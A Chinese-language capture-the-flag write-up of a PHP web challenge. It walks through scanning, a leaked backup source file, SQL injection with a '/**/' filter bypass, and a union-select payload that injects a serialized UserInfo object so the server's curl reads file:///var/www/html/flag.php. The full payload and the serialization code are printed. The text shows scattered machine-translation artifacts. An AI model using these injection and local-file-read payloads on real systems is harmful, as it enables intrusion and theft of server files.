进入页面以下,咱们发现有两个按钮,login和joinphp
通常第一步咱们应该是先对网站进行扫描,看看有没有扫描目录和文件,可是我在扫描的时候发现返回的状态码全是200,显然是作了手脚,可是这里咱们还能够经过返回的页面长度来判断,由于不存在的页面都重定向到一个页面,发现存在robots.txt和flag.php,查看flag.php什么也看不到,那么查看robots.txt,结果以下html
提示咱们有备份文件,咱们下载下来,代码以下:sql
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }
这段代码我第一眼看到的就是__construct(),为何呢?由于作过比较多了序列化和反序列化的题目,因此看到这个就跟敏感,就有中要用到序列化或者反序列的预感,事实验证了个人猜想,getBlogContents()其中这个调用了blog这个变量,那看来一会必定要用到这个函数,因此要想法调用这个函数才行,到此,咱们先把这段代码给放一放数据库
思路到这里彷佛停滞不前了,好像忽然断了,那咱们想一想还有什么没有用到的地方,想到这里想起来,咱们还有一个按钮没点呢,就是join,咱们点击看一看curl
随便输入一下函数
而后回显到页面结果以下,看到回显的第一瞬间其实我是想到sql注入,可是这里尝试没有注入,与此同时看到回显结果的时候有一个地方引发了个人注意,就是username,其余的都是黑色的,只有这个是蓝色的,是有链接的,因此点击1网站
而后咱们来到了这里this
看到这里我就更加判定这里确定有注入,因此单引号尝试一下,果真有注入,那么接下来注入开始url
经过以上结果,咱们知道字段数为43d
结果以下
那看来是过滤了,经过验证不是过滤的select,也不是union,而是过滤的union select这个总体,因此咱们能够把中间的空格改变一下就能够绕过,这里能够用/**/代替空格
结果以下
获得表名users
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:11:"www.123.com";}
获得了一段序列化代码,巧了,和以前代码分析的一段连上了
到目前为止,咱们先思考一下,首先咱们发现了一段代码,这段代码提示咱们可能须要序列化,其次咱们在后续的注入过程当中发现的数据是序列化的,这二者联系起来告诉咱们什么?告诉咱们,咱们须要在data数据上进行操做,什么操做?读取文件!但是该如何读取文件呢?这里很天然联想到了file协议,使用file协议来进行文件读取
序列化代码:
<?php class UserInfo { public $name = "1"; public $age = 1; public $blog = "file:///var/www/html/flag.php"; } $a=new UserInfo(); echo serialize($a); ?>
payload:
view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+
查看页面源代码:
很明显的提示,base64解密一下,结果以下:
拿到flag
CTF中常考序列化和反序列化,对于序列化中常见的一些函数必定要敏感,像这个题,我在看到备份文件代码的那一刻,就知道必定会用到序列化或者反序列化,再加上最后注入获得的data数据形式,无不在验证个人想法。